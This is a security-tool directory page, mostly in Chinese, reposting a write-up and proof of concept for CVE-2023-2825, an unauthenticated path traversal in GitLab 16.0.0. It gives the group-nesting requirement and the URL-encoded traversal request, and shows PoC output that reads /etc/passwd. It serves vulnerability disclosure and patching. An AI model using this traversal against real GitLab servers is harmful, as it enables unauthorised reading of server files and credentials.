Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
CVE-2023-2825 — GitLab CVE-2023-2825 PoC. This PoC leverages a path traversal vulnerability to retrieve the /etc/passwd file from a system running GitLab 16.0.0. | Kitploit
工具/GitHubGitHub/occamsec/cve-2023-2825
Vulnerability AnalysisExploitationWeb Application ExploitationInformation GatheringPenetration TestingRed Teaming
GitHuboccamsec/cve-2023-2825

CVE-2023-2825

GitLab CVE-2023-2825 PoC. This PoC leverages a path traversal vulnerability to retrieve the /etc/passwd file from a system running GitLab 16.0.0.

查看仓库
140313年前Kitploit 审核通过

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享
网站

CVE-2023-2825 - GitLab CE/EE 16.0.0 通过路径遍历导致任意文件读取

2023年5月23日,GitLab 发布了 16.0.1 版本,修复了一个影响社区版 (CE) 和企业版 (EE) 16.0.0 的关键漏洞 CVE-2023-2825。该漏洞允许未经身份验证的用户通过路径遍历缺陷读取任意文件。该漏洞由 pwnie 通过 HackerOne 的漏洞赏金计划发现。

在撰写本文时,尚无公开的概念验证可用。

GitLab 公告

未经身份验证的恶意用户可以利用路径遍历漏洞,在至少嵌套在五个组内的公共项目中存在附件时,读取服务器上的任意文件。这是一个严重级别的问题 (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:N, 10.0)。

子组

此漏洞有一个有趣的要求:项目需要嵌套在至少 5 个组中。在我们的测试中,我们发现组数与可遍历的目录之间存在直接相关性。规则似乎是 N+1,即如果你希望遍历 10 个目录,你需要有 11 个组。

在标准的 GitLab 安装中,文件附件上传到 /var/opt/gitlab/gitlab-rails/uploads/@hashed/<a>/<b>/<secret>/<secret>/<file>。因此,如果你想要到达文件系统根目录,你必须回退 10 个目录,因此你需要 11 个组。

文件上传与路径遍历

当你在 GitLab 问题上上传文件作为附件时,会发送一个请求到 POST - /:repo/upload。这会返回一个包含文件 URL 的 JSON 响应,允许你访问该文件。

文件 URL 由 /:repo/uploads/:id/:file 组成,其中 :file 是文件名本身。将 :file 替换为任何文件路径将导致 GitLab 返回请求的文件。GitLab 未能清理此文件路径,导致路径遍历。

要成功利用此漏洞,必须对文件路径中的 / 进行 URL 编码。GitLab 会将其作为值读取并在内部解码。如果不进行编码,GitLab 会将文件路径中的 / 解释为路由的一部分。

在我们的测试中,仅编码 / 就足以绕过 Nginx 路径错误。

身份验证

未经身份验证的用户只能在满足嵌套组要求的公共仓库上利用此漏洞。需要身份验证才能访问仓库本身。

概念验证

我们用 Python 开发了概念验证。它创建了 11 个组,创建一个公共仓库,上传一个文件,然后利用漏洞获取文件 /etc/passwd。

输出

root@kitploit:~
$ python3 poc.py
[*] Attempting to login...
[*] Login successful as user 'root'
[*] Creating 11 groups with prefix UJB
[*] Created group 'UJB-1'
[*] Created group 'UJB-2'
[*] Created group 'UJB-3'
[*] Created group 'UJB-4'
[*] Created group 'UJB-5'
[*] Created group 'UJB-6'
[*] Created group 'UJB-7'
[*] Created group 'UJB-8'
[*] Created group 'UJB-9'
[*] Created group 'UJB-10'
[*] Created group 'UJB-11'
[*] Created public repo 'UJB-1/UJB-2/UJB-3/UJB-4/UJB-5/UJB-6/UJB-7/UJB-8/UJB-9/UJB-10/UJB-11//CVE-2023-2825'
[*] Uploaded file '/uploads/74b16af4b9048e13c4311484bbfd3b76/file'
[*] Executing exploit, fetching file '/etc/passwd': GET - /UJB-1/UJB-2/UJB-3/UJB-4/UJB-5/UJB-6/UJB-7/UJB-8/UJB-9/UJB-10/UJB-11//CVE-2023-2825/uploads/74b16af4b9048e13c4311484bbfd3b76//..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2fetc%2fpasswd

root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
_apt:x:100:65534::/nonexistent:/usr/sbin/nologin
sshd:x:101:65534::/run/sshd:/usr/sbin/nologin
git:x:998:998::/var/opt/gitlab:/bin/sh
gitlab-www:x:999:999::/var/opt/gitlab/nginx:/bin/false
gitlab-redis:x:997:997::/var/opt/gitlab/redis:/bin/false
gitlab-psql:x:996:996::/var/opt/gitlab/postgresql:/bin/sh
mattermost:x:994:994::/var/opt/gitlab/mattermost:/bin/sh
registry:x:993:993::/var/opt/gitlab/registry:/bin/sh
gitlab-prometheus:x:992:992::/var/opt/gitlab/prometheus:/bin/sh
gitlab-consul:x:991:991::/var/opt/gitlab/consul:/bin/sh

建议操作

GitLab 建议所有受此问题影响的版本尽快升级。

参考

https://about.gitlab.com/releases/2023/05/23/critical-security-release-gitlab-16-0-1-released/

https://occamsec.com/exploit-for-cve-2023-2825/

下载工具